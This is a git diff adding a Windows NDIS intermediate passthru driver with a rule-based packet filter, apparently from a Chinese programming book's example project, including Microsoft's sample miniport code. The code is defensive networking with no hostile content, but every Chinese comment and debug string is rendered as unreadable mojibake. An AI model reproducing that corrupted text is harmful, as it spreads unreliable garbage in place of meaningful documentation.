NdisReleaseSpinLock(&pAdapt->Lock); + +CompleteTheIRP: + + if(status == STATUS_SUCCESS) + pIrp->IoStatus.Information = uTransLen; + else + pIrp->IoStatus.Information = 0; + + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return status; +} + + +//////////////////////////////////////////////////// +// ¶ÁÈ¡·â°üÖеÄÊý¾Ý +void FltReadPacketData(PNDIS_PACKET pPacket, + PUCHAR lpBufferIn, ULONG nNumberToRead, PUINT lpNumberOfRead) +{ + PUCHAR pBuf; + ULONG nBufferSize; + PNDIS_BUFFER pBufferDes = NULL; + + + // ¼ì²é²ÎÊý + if(pPacket == NULL || lpBufferIn == NULL || nNumberToRead == 0) + { + if(lpNumberOfRead != NULL) + { + *lpNumberOfRead = 0; + return ; + } + } + + // ÉèÖ÷µ»ØÊý¾Ý + *lpNumberOfRead = 0; + + + // ±éÀú·â°üÖеĻº³åÇøÃèÊö±í,½«Êý¾Ý¸´ÖƵ½Óû§»º³åÇø + pBufferDes = pPacket->Private.Head; + while(pBufferDes != pPacket->Private.Tail && pBufferDes != NULL) + { + // »ñÈ¡´Ë»º³åÇøÃèÊö±íµÄ»º³åÇøÐÅÏ¢ + NdisQueryBufferSafe(pBufferDes, &pBuf, &nBufferSize, NormalPagePriority); + if(pBuf == NULL) + return; + + if(nNumberToRead > nBufferSize) // ¸´ÖÆÕû¸ö»º³åÇø + { + NdisMoveMemory(lpBufferIn + *lpNumberOfRead, pBuf, nBufferSize); + nNumberToRead -= nBufferSize; + *lpNumberOfRead += nBufferSize; + } + else // ½ö¸´ÖÆʣϵIJ¿·Ö + { + NdisMoveMemory(lpBufferIn + *lpNumberOfRead, pBuf, nNumberToRead); + *lpNumberOfRead += nNumberToRead; + return; + } + // ÏÂÒ»¸ö»º³åÇøÃèÊö±í + pBufferDes = pBufferDes->Next; + } +} + +///////////////////////////////////////////// +// ¼ì²é¹ýÂ˹æÔò +BOOLEAN FltCheckFilterRules(PPassthruFilterList pFilterList, PUCHAR pPacketData, ULONG nDataLen, BOOLEAN bIncludeETHdr) +{ + int nLeavingLen = nDataLen; + + PETHeader pEtherHdr; + PIPHeader pIpHdr; + PTCPHeader pTcpHdr; + PUDPHeader pUdpHdr; + + + + // ´Ó»º³åÇøÖÐÝÍÈ¡³öIPÍ· + // Èç¹û°üº¬ÒÔÌ«Í·£¬¾ÍÒªÏȼì²éÒÔÌ«Í· + if(bIncludeETHdr) + { + if(nLeavingLen < sizeof(ETHeader)) + { + return TRUE; + } + nLeavingLen -= sizeof(ETHeader); + + pEtherHdr = (PETHeader)pPacketData; + + if(pEtherHdr->type != 0x8) // Èç¹û²»ÊÇIPЭÒ飬Ôò²»´¦Àí + return TRUE; + + pIpHdr = (PIPHeader)(pEtherHdr + 1); + } + else + { + pIpHdr = (PIPHeader)pPacketData; + } + + // Ñé֤ʣÓàÊý¾Ý³¤¶È£¬·ÀÖ¹·¢ÉúÄں˷Ƿ¨·ÃÎÊ + if(nLeavingLen < sizeof(IPHeader)) + return TRUE; + nLeavingLen -= sizeof(IPHeader); + + + // ¼ì²é°æ±¾ÐÅÏ¢£¬ÎÒÃǽö´¦ÀíIPv4 + if(((pIpHdr->iphVerLen >> 4) & 0x0f) == 6) + { + return TRUE; + } + + if(pIpHdr->ipProtocol == 6 && nLeavingLen >= sizeof(TCPHeader)) // ÊÇTCPЭÒ飿 + { + // ÌáÈ¡TCPÍ· + pTcpHdr = (PTCPHeader)(pIpHdr + 1); + // ÎÒÃǽÓÊÜËùÓÐÒѾ­½¨Á¢Á¬½ÓµÄTCP·â°ü + if(!(pTcpHdr->flags & 0x02)) + { + return TRUE; + } + } + + // Óë¹ýÂ˹æÔò±È½Ï£¬¾ö¶¨²ÉÈ¡µÄÐж¯ + while(pFilterList != NULL) + { + // ²é¿´·â°üʹÓõÄЭÒéÊÇ·ñºÍ¹ýÂ˹æÔòÏàͬ + if(pFilterList->filter.protocol == 0 || pFilterList->filter.protocol == pIpHdr->ipProtocol) + { + // Èç¹ûЭÒéÏàͬ£¬Ôٲ鿴ԴIPµØÖ· + if(pFilterList->filter.sourceIP != 0 && + pFilterList->filter.sourceIP != (pFilterList->filter.sourceMask & pIpHdr->ipSource)) + { + pFilterList = pFilterList->pNext; + continue; + } + + // Ôٲ鿴ĿµÄIPµØÖ· + if(pFilterList->filter.destinationIP != 0 && + pFilterList->filter.destinationIP != (pFilterList->filter.destinationMask & pIpHdr->ipDestination)) + { + pFilterList = pFilterList->pNext; + continue; + } + + // Èç¹ûÊÇTCP·â°ü£¬½Ó×Ų鿴TCP¶Ë¿ÚºÅ + if(pIpHdr->ipProtocol == 6) + { + if(nLeavingLen < 4) + { + return TRUE; + } + pTcpHdr = (PTCPHeader)(pIpHdr + 1); + // Èç¹ûÔ´¶Ë¿ÚºÅºÍÄ¿µÄ¶Ë¿ÚºÅ¶¼Óë¹æÔòÖеÄÒ»Ñù£¬Ôò°´ÕÕ¹æÔòµÄ¼Ç¼´¦ÀíÕâ¸ö·â°ü + if(pFilterList->filter.sourcePort == 0 || pFilterList->filter.sourcePort == pTcpHdr->sourcePort) + { + if(pFilterList->filter.destinationPort == 0 || + pFilterList->filter.destinationPort == pTcpHdr->destinationPort) + { + DBGPRINT((" °´ÕÕ¹æÔò´¦ÀíÒ»¸öTCP·â°ü \n ")); + return !pFilterList->filter.bDrop; + } + } + + } + // Èç¹ûÊÇUDP·â°ü£¬½Ó×Ų鿴UDP¶Ë¿ÚºÅ + else if(pIpHdr->ipProtocol == 17) + { + if(nLeavingLen < 4) + { + return !pFilterList->filter.bDrop; + } + pUdpHdr = (PUDPHeader)(pIpHdr + 1); + if(pFilterList->filter.sourcePort == 0 || + pFilterList->filter.sourcePort == pUdpHdr->sourcePort) + { + if(pFilterList->filter.destinationPort == 0 || + pFilterList->filter.destinationPort == pUdpHdr->destinationPort) + { + DBGPRINT((" °´ÕÕ¹æÔò´¦ÀíÒ»¸öUDP·â°ü \n ")); + return !pFilterList->filter.bDrop; + } + } + } + else + { + // ¶ÔÓÚÆäËü·â°ü£¬ÎÒÃÇÖ±½Ó´¦Àí + return !pFilterList->filter.bDrop; + } + } + // ±È½ÏÏÂÒ»¸ö·â°ü + pFilterList = pFilterList->pNext; + } + + + // ĬÈÏÇé¿öϽÓÊÕËùÓзâ°ü + return TRUE; +} + + + +// ¹ýÂËÏòÍâ·¢Ë͵ÄÊý¾Ý£¬´ÓMPSendPackets»òÕßMPSendº¯Êýµ÷Óà +// Èç¹û´ÓMPSendPacketsµ÷ÓþÍÔËÐÐÔÚIRQL <= DISPATCH_LEVEL¼¶±ð +// Èç¹û´ÓMPSendµ÷Ó㬾ÍÔËÐÐÔÚIRQL == DISPATCH_LEVEL¼¶±ð +BOOLEAN FltFilterSendPacket( + IN PADAPT pAdapt, + IN PNDIS_PACKET pSendPacket, + IN BOOLEAN bDispatchLevel // TRUE -> IRQL == DISPATCH_LEVEL + ) +{ + BOOLEAN bPass = TRUE; + PADAPT_FILTER_RSVD pFilterContext = (PADAPT_FILTER_RSVD)&pAdapt->FilterReserved; + UCHAR buffer[MAX_PACKET_HEADER_LEN]; + ULONG nReadBytes; + + // µ±Ê¹ÓùýÂËÊý¾Ýʱ£¬Òª»ñÈ¡ÐýתËø + if(bDispatchLevel) + { + NdisDprAcquireSpinLock(&pAdapt->Lock); + } + else + { + NdisAcquireSpinLock(&pAdapt->Lock); + } + + // ÉèÖÃͳ¼ÆÊý×Ö + pFilterContext->Statistics.nMPSendPktsCt ++; + + // Èç¹ûûÓÐÉèÖùýÂ˹æÔò£¬Ôò·ÅÐÐËùÓзâ°ü + if(pFilterContext->pFilterList == NULL) + goto ExitTheFilter; + + //////////////////////////////////////////////////// + // ¶ÁÈ¡·â°üÖеÄÊý¾Ý£¬ÕâÀï½ö¶ÁÈ¡·â°üÍ·¼´¿É + FltReadPacketData(pSendPacket, buffer, MAX_PACKET_HEADER_LEN, &nReadBytes); + // ¼ì²é¹ýÂ˹æÔò£¬¿´¿´ÊÇ·ñÔÊÐíÕâ¸ö·â°üͨ¹ý + bPass = FltCheckFilterRules(pFilterContext->pFilterList, buffer, nReadBytes, TRUE); + + if(!bPass) + { + // ¾Ü¾øÁËÒ»¸ö·â°ü + pFilterContext->Statistics.nMPSendPktsDropped ++; + } + +ExitTheFilter: + // ¹ýÂËÖ®ºóÒªÊÍ·ÅÐýתËø + if(bDispatchLevel) + NdisDprReleaseSpinLock(&pAdapt->Lock); + else + NdisReleaseSpinLock(&pAdapt->Lock); + + return bPass; +} + + + +// ¹ýÂ˽ÓÊÕµ½µÄÊý¾Ý,´ÓPtReceivePacketº¯Êýµ÷Óã¬ÔËÐÐÔÚDISPATCH_LEVEL IRQL¼¶±ð +BOOLEAN FltFilterReceivePacket( + IN PADAPT pAdapt, + IN PNDIS_PACKET pReceivedPacket + ) +{ + BOOLEAN bPass = TRUE; + PADAPT_FILTER_RSVD pFilterContext = (PADAPT_FILTER_RSVD)&pAdapt->FilterReserved; + UCHAR buffer[MAX_PACKET_HEADER_LEN]; + ULONG nReadBytes; + + // µ±Ê¹ÓùýÂËÊý¾Ýʱ£¬Òª»ñÈ¡ÐýתËø + NdisDprAcquireSpinLock(&pAdapt->Lock); + + + // ÉèÖÃͳ¼ÆÊý×Ö + pFilterContext->Statistics.nPTRcvPktCt ++; + + // Èç¹ûûÓÐÉèÖùýÂ˹æÔò£¬Ôò·ÅÐÐËùÓзâ°ü + if(pFilterContext->pFilterList == NULL) + goto ExitTheFilter; + + //////////////////////////////////////////////////// + // ¶ÁÈ¡·â°üÖеÄÊý¾Ý£¬ÕâÀï½ö¶ÁÈ¡·â°üÍ·¼´¿É + FltReadPacketData(pReceivedPacket, buffer, MAX_PACKET_HEADER_LEN, &nReadBytes); + if(nReadBytes != MAX_PACKET_HEADER_LEN) + { + DBGPRINT((" FltFilterReceivePacket: nReadBytes != MAX_PACKET_HEADER_LEN")); + } + // ¼ì²é¹ýÂ˹æÔò£¬¿´¿´ÊÇ·ñÔÊÐíÕâ¸ö·â°üͨ¹ý + bPass = FltCheckFilterRules(pFilterContext->pFilterList,buffer, nReadBytes, TRUE); + if(!bPass) + { + // ¾Ü¾øÁËÒ»¸ö·â°ü + pFilterContext->Statistics.nPTRcvPktDropped ++; + } + +ExitTheFilter: + // ¹ýÂËÖ®ºóÒªÊÍ·ÅÐýתËø + NdisDprReleaseSpinLock(&pAdapt->Lock); + + return bPass; +} + +// ¹ýÂ˽ÓÊÕµ½µÄÊý¾Ý,´ÓPtReceivePacketº¯Êýµ÷Óã¬ÔËÐÐÔÚDISPATCH_LEVEL IRQL¼¶±ð +BOOLEAN FltFilterReceive( + IN PADAPT pAdapt, + IN NDIS_HANDLE MacReceiveContext, + IN PVOID HeaderBuffer, + IN UINT HeaderBufferSize, + IN PVOID LookAheadBuffer, + IN UINT LookAheadBufferSize, + IN UINT PacketSize + ) +{ + BOOLEAN bPass = TRUE; + PADAPT_FILTER_RSVD pFilterContext = (PADAPT_FILTER_RSVD)&pAdapt->FilterReserved; + PETHeader pEtherHdr = (PETHeader)HeaderBuffer; + + // µ±Ê¹ÓùýÂËÊý¾Ýʱ£¬Òª»ñÈ¡ÐýתËø + NdisDprAcquireSpinLock(&pAdapt->Lock); + + + // ÉèÖÃͳ¼ÆÊý×Ö + pFilterContext->Statistics.nPTRcvCt ++; + // Èç¹ûûÓÐÉèÖùýÂ˹æÔò£¬Ôò·ÅÐÐËùÓзâ°ü + if(pFilterContext->pFilterList == NULL) + goto ExitTheFilter; + + // Èç¹û²»ÊÇIPЭÒ飬Ôò·ÅÐÐ + if(pEtherHdr->type != 0x8) + goto ExitTheFilter; + + // ¼ì²é¹ýÂ˹æÔò£¬¿´¿´ÊÇ·ñÔÊÐíÕâ¸ö·â°üͨ¹ý + bPass = FltCheckFilterRules(pFilterContext->pFilterList,LookAheadBuffer, LookAheadBufferSize, FALSE); + if(!bPass) + { + // ¾Ü¾øÁËÒ»¸ö·â°ü + pFilterContext->Statistics.nPTRcvDropped ++; + } + +ExitTheFilter: + // ¹ýÂËÖ®ºóÒªÊÍ·ÅÐýתËø + NdisDprReleaseSpinLock(&pAdapt->Lock); + + return bPass; +} + + + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/filter.h" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/filter.h" new file mode 100644 index 0000000..df26ee9 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/filter.h" @@ -0,0 +1,68 @@ +/////////////////////////////////////////////////////////// +// filter.hÎļþ + +#ifndef __FILTER__H +#define __FILTER__H + + + +#define MAX_PACKET_HEADER_LEN 100 + +/* + +Mac 14 ip 20 tcp 20 = 54 + +*/ + +////////////////////////////////////////////////////////// +// ½á¹¹ + +// ״̬ÐÅÏ¢ + +typedef struct _ADAPT_FILTER_RSVD ADAPT_FILTER_RSVD, *PADAPT_FILTER_RSVD; + +typedef struct _PassthruFilterList PassthruFilterList, *PPassthruFilterList; + +void ClearFilterList(PADAPT_FILTER_RSVD pFilterContext); +VOID FltOnDeinitAdapter(PADAPT pAdapt); + +VOID FltOnInitAdapter(PADAPT pAdapt); + +BOOLEAN FltFilterSendPacket(PADAPT pAdapt,PNDIS_PACKET pSendPacket,BOOLEAN bDispatchLevel); + +void FltReadPacketData(PNDIS_PACKET pPacket, + PUCHAR lpBufferIn, ULONG nNumberToRead, PUINT lpNumberOfRead); + +BOOLEAN FltCheckFilterRules(PPassthruFilterList pFilterList, PUCHAR pPacketData, ULONG nDataLen, BOOLEAN bIncludeETHdr); + +BOOLEAN FltFilterReceive( + IN PADAPT pAdapt, + IN NDIS_HANDLE MacReceiveContext, + IN PVOID HeaderBuffer, + IN UINT HeaderBufferSize, + IN PVOID LookAheadBuffer, + IN UINT LookAheadBufferSize, + IN UINT PacketSize + ); + +BOOLEAN FltFilterReceivePacket(PADAPT pAdapt,PNDIS_PACKET pReceivedPacket); + +BOOLEAN FltFilterSendPacket(PADAPT pAdapt,PNDIS_PACKET pSendPacket,BOOLEAN bDispatchLevel); + + + + + + + + + + + + + + + + + +#endif // __FILTER__H \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/makefile" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/makefile" new file mode 100644 index 0000000..fbc33da --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/makefile" @@ -0,0 +1,9 @@ +# +# DO NOT EDIT THIS FILE!!! Edit .\sources. if you want to add a new source +# file to this component. This file merely indirects to the real make file +# that is shared by all the components of NT +# +!INCLUDE $(NTMAKEENV)\makefile.def + + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/miniport.c" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/miniport.c" new file mode 100644 index 0000000..225d5c3 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/miniport.c" @@ -0,0 +1,1480 @@ +/*++ + +Copyright (c) 1992-2000 Microsoft Corporation + +Module Name: + + miniport.c + +Abstract: + + Ndis Intermediate Miniport driver sample. This is a passthru driver. + +Author: + +Environment: + + +Revision History: + + +--*/ + +#include "precomp.h" +#pragma hdrstop + + + +NDIS_STATUS +MPInitialize( + OUT PNDIS_STATUS OpenErrorStatus, + OUT PUINT SelectedMediumIndex, + IN PNDIS_MEDIUM MediumArray, + IN UINT MediumArraySize, + IN NDIS_HANDLE MiniportAdapterHandle, + IN NDIS_HANDLE WrapperConfigurationContext + ) +/*++ + +Routine Description: + + This is the initialize handler which gets called as a result of + the BindAdapter handler calling NdisIMInitializeDeviceInstanceEx. + The context parameter which we pass there is the adapter structure + which we retrieve here. + + Arguments: + + OpenErrorStatus Not used by us. + SelectedMediumIndex Place-holder for what media we are using + MediumArray Array of ndis media passed down to us to pick from + MediumArraySize Size of the array + MiniportAdapterHandle The handle NDIS uses to refer to us + WrapperConfigurationContext For use by NdisOpenConfiguration + +Return Value: + + NDIS_STATUS_SUCCESS unless something goes wrong + +--*/ +{ + UINT i; + PADAPT pAdapt; + NDIS_STATUS Status = NDIS_STATUS_FAILURE; + NDIS_MEDIUM Medium; + + UNREFERENCED_PARAMETER(WrapperConfigurationContext); + + do + { + // + // Start off by retrieving our adapter context and storing + // the Miniport handle in it. + // + pAdapt = NdisIMGetDeviceContext(MiniportAdapterHandle); + pAdapt->MiniportHandle = MiniportAdapterHandle; + + DBGPRINT(("==> Miniport Initialize: Adapt %p\n", pAdapt)); + + // + // Usually we export the medium type of the adapter below as our + // virtual miniport's medium type. However if the adapter below us + // is a WAN device, then we claim to be of medium type 802.3. + // + Medium = pAdapt->Medium; + + if (Medium == NdisMediumWan) + { + Medium = NdisMedium802_3; + } + + for (i = 0; i < MediumArraySize; i++) + { + if (MediumArray[i] == Medium) + { + *SelectedMediumIndex = i; + break; + } + } + + if (i == MediumArraySize) + { + Status = NDIS_STATUS_UNSUPPORTED_MEDIA; + break; + } + + + // + // Set the attributes now. NDIS_ATTRIBUTE_DESERIALIZE enables us + // to make up-calls to NDIS without having to call NdisIMSwitchToMiniport + // or NdisIMQueueCallBack. This also forces us to protect our data using + // spinlocks where appropriate. Also in this case NDIS does not queue + // packets on our behalf. Since this is a very simple pass-thru + // miniport, we do not have a need to protect anything. However in + // a general case there will be a need to use per-adapter spin-locks + // for the packet queues at the very least. + // + NdisMSetAttributesEx(MiniportAdapterHandle, + pAdapt, + 0, // CheckForHangTimeInSeconds + NDIS_ATTRIBUTE_IGNORE_PACKET_TIMEOUT | + NDIS_ATTRIBUTE_IGNORE_REQUEST_TIMEOUT| + NDIS_ATTRIBUTE_INTERMEDIATE_DRIVER | + NDIS_ATTRIBUTE_DESERIALIZE | + NDIS_ATTRIBUTE_NO_HALT_ON_SUSPEND, + 0); + + // + // Initialize LastIndicatedStatus to be NDIS_STATUS_MEDIA_CONNECT + // + pAdapt->LastIndicatedStatus = NDIS_STATUS_MEDIA_CONNECT; + + // + // Initialize the power states for both the lower binding (PTDeviceState) + // and our miniport edge to Powered On. + // + pAdapt->MPDeviceState = NdisDeviceStateD0; + pAdapt->PTDeviceState = NdisDeviceStateD0; + + // + // Add this adapter to the global pAdapt List + // + NdisAcquireSpinLock(&GlobalLock); + + pAdapt->Next = pAdaptList; + pAdaptList = pAdapt; + + NdisReleaseSpinLock(&GlobalLock); + + // + // Create an ioctl interface + // + (VOID)PtRegisterDevice(); + + Status = NDIS_STATUS_SUCCESS; + } + while (FALSE); + + // + // If we had received an UnbindAdapter notification on the underlying + // adapter, we would have blocked that thread waiting for the IM Init + // process to complete. Wake up any such thread. + // + ASSERT(pAdapt->MiniportInitPending == TRUE); + pAdapt->MiniportInitPending = FALSE; + NdisSetEvent(&pAdapt->MiniportInitEvent); + + DBGPRINT(("<== Miniport Initialize: Adapt %p, Status %x\n", pAdapt, Status)); + + *OpenErrorStatus = Status; + + return Status; +} + + +NDIS_STATUS +MPSend( + IN NDIS_HANDLE MiniportAdapterContext, + IN PNDIS_PACKET Packet, + IN UINT Flags + ) +/*++ + +Routine Description: + + Send Packet handler. Either this or our SendPackets (array) handler is called + based on which one is enabled in our Miniport Characteristics. + +Arguments: + + MiniportAdapterContext Pointer to the adapter + Packet Packet to send + Flags Unused, passed down below + +Return Value: + + Return code from NdisSend + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + NDIS_STATUS Status; + PNDIS_PACKET MyPacket; + PVOID MediaSpecificInfo = NULL; + ULONG MediaSpecificInfoSize = 0; + + // + // The driver should fail the send if the virtual miniport is in low + // power state + // + if (pAdapt->MPDeviceState > NdisDeviceStateD0) + { + return NDIS_STATUS_FAILURE; + } + +// BEGIN_PTEX_FILTER + // + // µ÷ÓùýÂË·¢ËÍ·â°üµÄº¯Êý£¬µ÷ÓÃÕßÔËÐÐÔÚDISPATCH_LEVEL IRQL¼¶±ð + // + if(!FltFilterSendPacket(pAdapt,Packet,TRUE)) + { + // + // Èç¹û¾Ü¾øµÄ»°£¬¾ÍÆÛÆ­Éϲ㣬˵ÒѾ­·¢Ëͳɹ¦ÁË£¨ËäÈ»²¢Ã»ÓÐÕæÕýµØ·¢ËÍ£© + // + return NDIS_STATUS_SUCCESS; + } +// END_PTEX_FILTER + +#ifdef NDIS51 + // + // Use NDIS 5.1 packet stacking: + // + { + PNDIS_PACKET_STACK pStack; + BOOLEAN Remaining; + + // + // Packet stacks: Check if we can use the same packet for sending down. + // + + pStack = NdisIMGetCurrentPacketStack(Packet, &Remaining); + if (Remaining) + { + // + // We can reuse "Packet". + // + // NOTE: if we needed to keep per-packet information in packets + // sent down, we can use pStack->IMReserved[]. + // + ASSERT(pStack); + // + // If the below miniport is going to low power state, stop sending down any packet. + // + NdisAcquireSpinLock(&pAdapt->Lock); + if (pAdapt->PTDeviceState > NdisDeviceStateD0) + { + NdisReleaseSpinLock(&pAdapt->Lock); + return NDIS_STATUS_FAILURE; + } + pAdapt->OutstandingSends++; + NdisReleaseSpinLock(&pAdapt->Lock); + NdisSend(&Status, + pAdapt->BindingHandle, + Packet); + + if (Status != NDIS_STATUS_PENDING) + { + ADAPT_DECR_PENDING_SENDS(pAdapt); + } + + return(Status); + } + } +#endif // NDIS51 + + // + // We are either not using packet stacks, or there isn't stack space + // in the original packet passed down to us. Allocate a new packet + // to wrap the data with. + // + // + // If the below miniport is going to low power state, stop sending down any packet. + // + NdisAcquireSpinLock(&pAdapt->Lock); + if (pAdapt->PTDeviceState > NdisDeviceStateD0) + { + NdisReleaseSpinLock(&pAdapt->Lock); + return NDIS_STATUS_FAILURE; + + } + pAdapt->OutstandingSends++; + NdisReleaseSpinLock(&pAdapt->Lock); + + NdisAllocatePacket(&Status, + &MyPacket, + pAdapt->SendPacketPoolHandle); + + if (Status == NDIS_STATUS_SUCCESS) + { + PSEND_RSVD SendRsvd; + + // + // Save a pointer to the original packet in our reserved + // area in the new packet. This is needed so that we can + // get back to the original packet when the new packet's send + // is completed. + // + SendRsvd = (PSEND_RSVD)(MyPacket->ProtocolReserved); + SendRsvd->OriginalPkt = Packet; + + MyPacket->Private.Flags = Flags; + + // + // Set up the new packet so that it describes the same + // data as the original packet. + // + MyPacket->Private.Head = Packet->Private.Head; + MyPacket->Private.Tail = Packet->Private.Tail; +#ifdef WIN9X + // + // Work around the fact that NDIS does not initialize this + // to FALSE on Win9x. + // + MyPacket->Private.ValidCounts = FALSE; +#endif + + // + // Copy the OOB Offset from the original packet to the new + // packet. + // + NdisMoveMemory(NDIS_OOB_DATA_FROM_PACKET(MyPacket), + NDIS_OOB_DATA_FROM_PACKET(Packet), + sizeof(NDIS_PACKET_OOB_DATA)); + +#ifndef WIN9X + // + // Copy the right parts of per packet info into the new packet. + // This API is not available on Win9x since task offload is + // not supported on that platform. + // + NdisIMCopySendPerPacketInfo(MyPacket, Packet); +#endif + + // + // Copy the Media specific information + // + NDIS_GET_PACKET_MEDIA_SPECIFIC_INFO(Packet, + &MediaSpecificInfo, + &MediaSpecificInfoSize); + + if (MediaSpecificInfo || MediaSpecificInfoSize) + { + NDIS_SET_PACKET_MEDIA_SPECIFIC_INFO(MyPacket, + MediaSpecificInfo, + MediaSpecificInfoSize); + } + + NdisSend(&Status, + pAdapt->BindingHandle, + MyPacket); + + + if (Status != NDIS_STATUS_PENDING) + { +#ifndef WIN9X + NdisIMCopySendCompletePerPacketInfo (Packet, MyPacket); +#endif + NdisFreePacket(MyPacket); + ADAPT_DECR_PENDING_SENDS(pAdapt); + } + } + else + { + ADAPT_DECR_PENDING_SENDS(pAdapt); + // + // We are out of packets. Silently drop it. Alternatively we can deal with it: + // - By keeping separate send and receive pools + // - Dynamically allocate more pools as needed and free them when not needed + // + } + + return(Status); +} + + +VOID +MPSendPackets( + IN NDIS_HANDLE MiniportAdapterContext, + IN PPNDIS_PACKET PacketArray, + IN UINT NumberOfPackets + ) +/*++ + +Routine Description: + + Send Packet Array handler. Either this or our SendPacket handler is called + based on which one is enabled in our Miniport Characteristics. + +Arguments: + + MiniportAdapterContext Pointer to our adapter + PacketArray Set of packets to send + NumberOfPackets Self-explanatory + +Return Value: + + None + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + NDIS_STATUS Status; + UINT i; + PVOID MediaSpecificInfo = NULL; + UINT MediaSpecificInfoSize = 0; + + + for (i = 0; i < NumberOfPackets; i++) + { + PNDIS_PACKET Packet, MyPacket; + + Packet = PacketArray[i]; + // + // The driver should fail the send if the virtual miniport is in low + // power state + // + if (pAdapt->MPDeviceState > NdisDeviceStateD0) + { + NdisMSendComplete(ADAPT_MINIPORT_HANDLE(pAdapt), + Packet, + NDIS_STATUS_FAILURE); + continue; + } + +// BEGIN_PTEX_FILTER + // + // µ÷ÓùýÂË·¢ËÍ·â°üµÄº¯Êý£¬µ÷ÓÃÕßÔËÐÐÔÚIRQL <= DISPATCH_LEVEL¼¶±ð + // + if(!FltFilterSendPacket(pAdapt,Packet,FALSE)) + { + // + // Èç¹û¾Ü¾øµÄ»°£¬¾ÍÆÛÆ­Éϲ㣬˵ÒѾ­·¢Ëͳɹ¦ÁË£¨ËäÈ»²¢Ã»ÓÐÕæÕýµØ·¢ËÍ£© + // + NdisMSendComplete(ADAPT_MINIPORT_HANDLE(pAdapt), + Packet, + NDIS_STATUS_SUCCESS); + + continue; + } +// END_PTEX_FILTER + +#ifdef NDIS51 + + // + // Use NDIS 5.1 packet stacking: + // + { + PNDIS_PACKET_STACK pStack; + BOOLEAN Remaining; + + // + // Packet stacks: Check if we can use the same packet for sending down. + // + pStack = NdisIMGetCurrentPacketStack(Packet, &Remaining); + if (Remaining) + { + // + // We can reuse "Packet". + // + // NOTE: if we needed to keep per-packet information in packets + // sent down, we can use pStack->IMReserved[]. + // + ASSERT(pStack); + // + // If the below miniport is going to low power state, stop sending down any packet. + // + NdisAcquireSpinLock(&pAdapt->Lock); + if (pAdapt->PTDeviceState > NdisDeviceStateD0) + { + NdisReleaseSpinLock(&pAdapt->Lock); + NdisMSendComplete(ADAPT_MINIPORT_HANDLE(pAdapt), + Packet, + NDIS_STATUS_FAILURE); + } + else + { + pAdapt->OutstandingSends++; + NdisReleaseSpinLock(&pAdapt->Lock); + + NdisSend(&Status, + pAdapt->BindingHandle, + Packet); + + if (Status != NDIS_STATUS_PENDING) + { + NdisMSendComplete(ADAPT_MINIPORT_HANDLE(pAdapt), + Packet, + Status); + + ADAPT_DECR_PENDING_SENDS(pAdapt); + } + } + continue; + } + } +#endif + do + { + NdisAcquireSpinLock(&pAdapt->Lock); + // + // If the below miniport is going to low power state, stop sending down any packet. + // + if (pAdapt->PTDeviceState > NdisDeviceStateD0) + { + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_FAILURE; + break; + } + pAdapt->OutstandingSends++; + NdisReleaseSpinLock(&pAdapt->Lock); + + NdisAllocatePacket(&Status, + &MyPacket, + pAdapt->SendPacketPoolHandle); + + if (Status == NDIS_STATUS_SUCCESS) + { + PSEND_RSVD SendRsvd; + + SendRsvd = (PSEND_RSVD)(MyPacket->ProtocolReserved); + SendRsvd->OriginalPkt = Packet; + + MyPacket->Private.Flags = NdisGetPacketFlags(Packet); + + MyPacket->Private.Head = Packet->Private.Head; + MyPacket->Private.Tail = Packet->Private.Tail; +#ifdef WIN9X + // + // Work around the fact that NDIS does not initialize this + // to FALSE on Win9x. + // + MyPacket->Private.ValidCounts = FALSE; +#endif // WIN9X + + // + // Copy the OOB data from the original packet to the new + // packet. + // + NdisMoveMemory(NDIS_OOB_DATA_FROM_PACKET(MyPacket), + NDIS_OOB_DATA_FROM_PACKET(Packet), + sizeof(NDIS_PACKET_OOB_DATA)); + // + // Copy relevant parts of the per packet info into the new packet + // +#ifndef WIN9X + NdisIMCopySendPerPacketInfo(MyPacket, Packet); +#endif + + // + // Copy the Media specific information + // + NDIS_GET_PACKET_MEDIA_SPECIFIC_INFO(Packet, + &MediaSpecificInfo, + &MediaSpecificInfoSize); + + if (MediaSpecificInfo || MediaSpecificInfoSize) + { + NDIS_SET_PACKET_MEDIA_SPECIFIC_INFO(MyPacket, + MediaSpecificInfo, + MediaSpecificInfoSize); + } + + NdisSend(&Status, + pAdapt->BindingHandle, + MyPacket); + + if (Status != NDIS_STATUS_PENDING) + { +#ifndef WIN9X + NdisIMCopySendCompletePerPacketInfo (Packet, MyPacket); +#endif + NdisFreePacket(MyPacket); + ADAPT_DECR_PENDING_SENDS(pAdapt); + } + } + else + { + // + // The driver cannot allocate a packet. + // + ADAPT_DECR_PENDING_SENDS(pAdapt); + } + } + while (FALSE); + + if (Status != NDIS_STATUS_PENDING) + { + NdisMSendComplete(ADAPT_MINIPORT_HANDLE(pAdapt), + Packet, + Status); + } + } +} + + +NDIS_STATUS +MPQueryInformation( + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_OID Oid, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength, + OUT PULONG BytesWritten, + OUT PULONG BytesNeeded + ) +/*++ + +Routine Description: + + Entry point called by NDIS to query for the value of the specified OID. + Typical processing is to forward the query down to the underlying miniport. + + The following OIDs are filtered here: + + OID_PNP_QUERY_POWER - return success right here + + OID_GEN_SUPPORTED_GUIDS - do not forward, otherwise we will show up + multiple instances of private GUIDs supported by the underlying miniport. + + OID_PNP_CAPABILITIES - we do send this down to the lower miniport, but + the values returned are postprocessed before we complete this request; + see PtRequestComplete. + + NOTE on OID_TCP_TASK_OFFLOAD - if this IM driver modifies the contents + of data it passes through such that a lower miniport may not be able + to perform TCP task offload, then it should not forward this OID down, + 